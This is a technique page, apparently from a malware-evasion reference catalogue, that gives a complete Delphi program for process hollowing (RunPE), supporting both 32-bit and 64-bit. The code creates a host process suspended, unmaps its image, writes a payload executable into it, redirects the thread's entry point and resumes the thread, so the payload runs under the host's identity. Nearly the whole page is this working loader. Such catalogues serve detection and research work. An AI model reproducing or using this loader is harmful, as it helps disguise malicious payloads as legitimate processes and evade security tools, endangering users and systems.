Windows Delphi / Process Hollowing, RunPE
Author | Jean-Pierre LESUEUR (DarkCoderSc) |
Platform | Windows |
Language | Delphi |
Technique | Process Hollowing, RunPE |
Description:
Supports both x86-32 / x86-64
The RunPE loader must have the same architecture as PE Payload
and PE Host
. PE Payload
and PE Host
must of course have the same architecture.
Code
// Supports both x86-32 and x86-64
program Unprotect_RunPE;
{$APPTYPE CONSOLE}
{$R *.res}
uses
System.Classes,
WinAPI.Windows,
System.SysUtils;
function NtUnmapViewOfSection(
ProcessHandle: THandle;
BaseAddress: Pointer
):DWORD; stdcall; external 'ntdll.dll';
type
EWindowsException = class(Exception)
private
FLastError : Integer;
public
{@C}
constructor Create(const WinAPI : String); overload;
{@G}
property LastError : Integer read FLastError;
end;
EInvalidPEFile = class(Exception)
public
{@C}
constructor Create(const AReason : String); overload;
end;
constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
FLastError := GetLastError();
AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
WinAPI,
FLastError,
SysErrorMessage(FLastError)
]);
///
inherited Create(AFormatedMessage);
end;
constructor EInvalidPEFile.Create(const AReason : String);
begin
inherited Create(Format('Invalid Windows PE File: "%s"', [AReason]));
end;
procedure WriteProcessMemoryEx(const hProcess : THandle; const pOffset, pData : Pointer; const ADataSize : SIZE_T);
var ABytesWritten : SIZE_T;
begin
if not WriteProcessMemory(
hProcess,
pOffset,
pData,
ADataSize,
ABytesWritten
) then
raise EWindowsException.Create('WriteProcessMemory');
end;
procedure HollowMe(const pPEBuffer: PVOID; const APEBufferSize: Int64; APEHost : String); overload;
var AStartupInfo : TStartupInfo;
AProcessInfo : TProcessInformation;
pThreadContext : PContext;
AImageBase : NativeUInt;
pOffset : Pointer;
ABytesRead : SIZE_T;
ptrImageDosHeader : PImageDosHeader;
AImageNtHeaderSignature : DWORD;
ptrImageFileHeader : PImageFileHeader;
I : Integer;
pSectionHeader : PImageSectionHeader;
pPayloadAddress : Pointer;
pImageBaseOffset : Pointer;
ALoaderX64 : Boolean;
{$IFDEF WIN64}
pOptionalHeader64 : PImageOptionalHeader64;
{$ELSE}
pOptionalHeader32 : PImageOptionalHeader32;
{$ENDIF}
begin
if (not Assigned(pPEBuffer)) or (APEBufferSize = 0) then
raise Exception.Create('Memory buffer is not valid.');
pOffset := pPEBuffer;
ptrImageDosHeader := PImageDosHeader(pOffset);
if ptrImageDosHeader^.e_magic <> IMAGE_DOS_SIGNATURE then
raise EInvalidPEFile.Create('IMAGE_DOS_SIGNATURE');
pOffset := Pointer(NativeUInt(pOffset) + ptrImageDosHeader^._lfanew);
AImageNtHeaderSignature := PDWORD(pOffset)^;
if AImageNtHeaderSignature <> IMAGE_NT_SIGNATURE then
raise EInvalidPEFile.Create('IMAGE_NT_SIGNATURE');
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(DWORD));
ptrImageFileHeader := PImageFileHeader(pOffset);
{$IFDEF WIN64}
ALoaderX64 := True;
{$ELSE}
ALoaderX64 := False;
{$ENDIF}
case ptrImageFileHeader^.Machine of
IMAGE_FILE_MACHINE_AMD64 : begin
if not ALoaderX64 then
Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.');
end;
IMAGE_FILE_MACHINE_I386 : begin
if ALoaderX64 then
Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.');
end;
end;
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageFileHeader));
{$IFDEF WIN64}
pOptionalHeader64 := PImageOptionalHeader64(pOffset);
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader64));
{$ELSE}
pOptionalHeader32 := PImageOptionalHeader32(pOffset);
pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader32));
{$ENDIF}
pSectionHeader := PImageSectionHeader(pOffset);
ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));
AStartupInfo.cb := SizeOf(TStartupInfo);
AStartupInfo.wShowWindow := SW_SHOW;
UniqueString(APEHost);
if not CreateProcessW(
PWideChar(APEHost),
nil,
nil,
nil,
False,
CREATE_SUSPENDED,
nil,
nil,
AStartupInfo,
AProcessInfo
) then
raise EWindowsException.Create('CreateProcessW');
pThreadContext := VirtualAlloc(nil, SizeOf(TContext), MEM_COMMIT, PAGE_READWRITE);
pThreadContext^.ContextFlags := CONTEXT_FULL;
if not GetThreadContext(AProcessInfo.hThread, pThreadContext^) then
raise EWindowsException.Create('GetThreadContext');
{$IFDEF WIN64}
pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2));
{$ELSE}
pImageBaseOffset := Pointer(pThreadContext^.Ebx + (SizeOf(Pointer) * 2));
{$ENDIF}
if not ReadProcessMemory(AProcessInfo.hProcess, pImageBaseOffset, @AImageBase, SizeOf(NativeUInt), ABytesRead) then
raise EWindowsException.Create('ReadProcessMemory');
if NtUnmapViewOfSection(AProcessInfo.hProcess, Pointer(AImageBase)) <> 0 then
raise Exception.Create('Could not unmap section.');
pPayloadAddress := VirtualAllocEx(
AProcessInfo.hProcess,
nil,
{$IFDEF WIN64}
pOptionalHeader64^.SizeOfImage,
{$ELSE}
pOptionalHeader32^.SizeOfImage,
{$ENDIF}
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if not Assigned(pPayloadAddress) then
raise EWindowsException.Create('VirtualAllocEx');
WriteProcessMemoryEx(
AProcessInfo.hProcess,
pPayloadAddress,
pPEBuffer,
{$IFDEF WIN64}
pOptionalHeader64^.SizeOfHeaders
{$ELSE}
pOptionalHeader32^.SizeOfHeaders
{$ENDIF}
);
for I := 1 to ptrImageFileHeader^.NumberOfSections do begin
try
WriteProcessMemoryEx(
AProcessInfo.hProcess,
Pointer(NativeUInt(pPayloadAddress) + pSectionHeader^.VirtualAddress),
Pointer(NativeUInt(pPEBuffer) + pSectionHeader^.PointerToRawData),
pSectionHeader^.SizeOfRawData
);
finally
pSectionHeader := Pointer(NativeUInt(pSectionHeader) + SizeOf(TImageSectionHeader));
end;
end;
{$IFDEF WIN64}
pThreadContext^.Rcx := NativeUInt(pPayloadAddress) + pOptionalHeader64^.AddressOfEntryPoint;
{$ELSE}
pThreadContext^.Eax := NativeUInt(pPayloadAddress) + pOptionalHeader32^.AddressOfEntryPoint;
{$ENDIF}
WriteProcessMemoryEx(
AProcessInfo.hProcess,
pImageBaseOffset,
@pPayloadAddress,
SizeOf(Pointer)
);
if not SetThreadContext(AProcessInfo.hThread, pThreadContext^) then
raise EWindowsException.Create('SetThreadContext');
if ResumeThread(AProcessInfo.hThread) = 0 then
raise EWindowsException.Create('ResumeThread');
end;
procedure HollowMe(const APEFile, APEHost : String); overload;
var ABuffer : array of byte;
hFile : THandle;
AFileSize : Int64;
ABytesRead : DWORD;
begin
if not FileExists(APEFile) then
raise Exception.Create(Format('File "%s" does not exists.', [APEFile]));
///
hFile := CreateFile(
PWideChar(APEFile),
GENERIC_READ,
FILE_SHARE_READ,
nil,
OPEN_EXISTING,
0,
0
);
if hFile = INVALID_HANDLE_VALUE then
raise EWindowsException.Create('CreateFile');
try
if not GetFileSizeEx(hFile, AFileSize) then
raise EWindowsException.Create('GetFileSizeEx');
if AFileSize = 0 then
raise Exception.Create('Invalid PE File Size.');
SetLength(ABuffer, AFileSize);
if not ReadFile(hFile, ABuffer[0], AFileSize, ABytesRead, nil) then
raise EWindowsException.Create('ReadFile');
finally
CloseHandle(hFile);
end;
///
HollowMe(PByte(ABuffer), AFileSize, APEHost);
end;
begin
try
HollowMe('FileToRun.exe', 'HostFile.exe');
except
on E: Exception do
Writeln(E.ClassName, ': ', E.Message);
end;
end.
Created
June 23, 2022
Last Revised
April 22, 2024